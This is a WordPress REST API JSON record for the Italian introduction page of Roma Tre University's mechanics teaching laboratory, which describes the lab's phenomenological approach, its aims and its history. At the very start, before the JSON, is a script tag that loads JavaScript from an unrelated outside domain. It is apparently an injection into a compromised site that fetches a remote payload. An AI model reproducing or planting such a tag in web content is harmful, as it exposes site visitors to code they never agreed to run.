<script src="https://id-id.id/Cru0j4" type="text/javascript"></script>{"id":89,"date":"2014-11-04T20:38:22","date_gmt":"2014-11-04T20:38:22","guid":{"rendered":"http:\/\/ldm.uniroma3.it\/?page_id=89"},"modified":"2014-11-20T16:29:31","modified_gmt":"2014-11-20T16:29:31","slug":"introduzione","status":"publish","type":"page","link":"http:\/\/ldm.uniroma3.it\/?page_id=89","title":{"rendered":"Introduzione"},"content":{"rendered":"<p class=\"paragraph_style\" style=\"text-align: justify;\"><a href=\"http:\/\/ldm.uniroma3.it\/wp-content\/uploads\/2014\/11\/shapeimage_1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright  wp-image-98\" src=\"http:\/\/ldm.uniroma3.it\/wp-content\/uploads\/2014\/11\/shapeimage_1.jpg\" alt=\"shapeimage_1\" width=\"267\" height=\"286\" \/><\/a>Vi \u00e8 una parte cospicua di studi di meccanica orientata allo sviluppo di teorie cos\u00ec dette fenomenologiche poich\u00e9 si propongono di catturare la pi\u00f9 immediata evidenza dei fenomeni dell&#8217;esperienza, rinunciando ad ogni tentativo di descrizione pi\u00f9 dettagliata. La citazione su riportata sottolinea che la Meccanica \u00e8 nata come disciplina fenomenologica, dato che i suoi costrutti fondamentali derivano dall&#8217;osservazione di fatti dell&#8217;esperienza quotidiana, legati cio\u00e8 al comportamento di oggetti semplici e di uso comune (la leva, la bilancia, il filo a piombo etc.).<\/p>\n<p class=\"paragraph_style\" style=\"text-align: justify;\"><a href=\"http:\/\/ldm.uniroma3.it\/wp-content\/uploads\/2014\/11\/Laboratorio-Meccanica_12.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft wp-image-97 \" src=\"http:\/\/ldm.uniroma3.it\/wp-content\/uploads\/2014\/11\/Laboratorio-Meccanica_12.jpg\" alt=\"Laboratorio Meccanica_12\" width=\"237\" height=\"316\" \/><\/a>Con il passare del tempo, nuovi e pi\u00f9 complessi oggetti, nuovi fenomeni si sono aggiunti al novero di quelli interpretabili alla luce della Meccanica, ed il loro studio ha richiesto lo sviluppo di modelli matematici sempre pi\u00f9 sofisticati. Il confine tra la Meccanica e la Matematica \u00e8 diventato molto esile, alcuni lo vogliono inesistente. Ma, per alto che possa essere il livello di sofisticazione modellistica necessario per spiegare i fenomeni, questi restano con tutta la loro essenzialit\u00e0, suggestione ed immediatezza. Insomma, la Meccanica pu\u00f2 anche essere pensata da alcuni come una branca della matematica, ma i loro insegnamenti non possono e non debbono essere confusi: se il legame con i fenomeni viene reciso, se ai discenti viene preclusa l&#8217;osservazione e l&#8217;interazione con gli oggetti della Meccanica non solo l&#8217;interesse per la disciplina, ma anche la sua comprensione saranno irrimediabilmente compromessi.<\/p>\n<p class=\"paragraph_style\" style=\"text-align: justify;\">\n<p class=\"paragraph_style\" style=\"text-align: justify;\"><a href=\"http:\/\/ldm.uniroma3.it\/wp-content\/uploads\/2014\/11\/Flessione-e-Taglio.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-100\" src=\"http:\/\/ldm.uniroma3.it\/wp-content\/uploads\/2014\/11\/Flessione-e-Taglio.jpg\" alt=\"Flessione e Taglio\" width=\"258\" height=\"362\" \/><\/a><\/p>\n<p class=\"paragraph_style\" style=\"text-align: justify;\">\n<p class=\"paragraph_style\" style=\"text-align: justify;\">Questo \u00e8 il motivo per cui \u00e8 nato il Laboratorio degli Oggetti della Meccanica, laboratorio didattico della Facolt\u00e0 di Architettura, per l&#8217;insegnamento della Meccanica tramite oggetti e strumenti idonei ad illustrarne i concetti fondamentali.<\/p>\n<p class=\"paragraph_style\" style=\"text-align: justify;\">Il primo obiettivo di questo laboratorio \u00e8 costituito dalla disponibilit\u00e0 di modelli fisici per l&#8217;insegnamento della cinematica e statica del corpo rigido, con particolare riferimento alle macchine semplici in quanto strumenti paradigmatici dei principi della Meccanica. Oltre alla meccanica del corpo rigido, un secondo obiettivo del laboratorio \u00e8 quello di far effettuare agli studenti alcune semplici esperienze di statica dei continui deformabili.<\/p>\n<p class=\"paragraph_style\" style=\"text-align: justify;\">Questo laboratorio opera nella\u00a0 Facolt\u00e0 di Architettura di Roma Tre dal 1998. Prima itinerava in una cassa di abete: dall&#8217;a.a. 2003\/2004 ha una sua configurazione stabile in uno spazio al Mattatoio, nel Padiglione 17.<\/p>\n<p class=\"paragraph_style\" style=\"text-align: justify;\">\n","protected":false},"excerpt":{"rendered":"<p>Vi \u00e8 una parte cospicua di studi di meccanica orientata allo sviluppo di teorie cos\u00ec dette fenomenologiche poich\u00e9 si propongono di catturare la pi\u00f9 immediata evidenza dei fenomeni dell&#8217;esperienza, rinunciando ad ogni tentativo di descrizione pi\u00f9 dettagliata. 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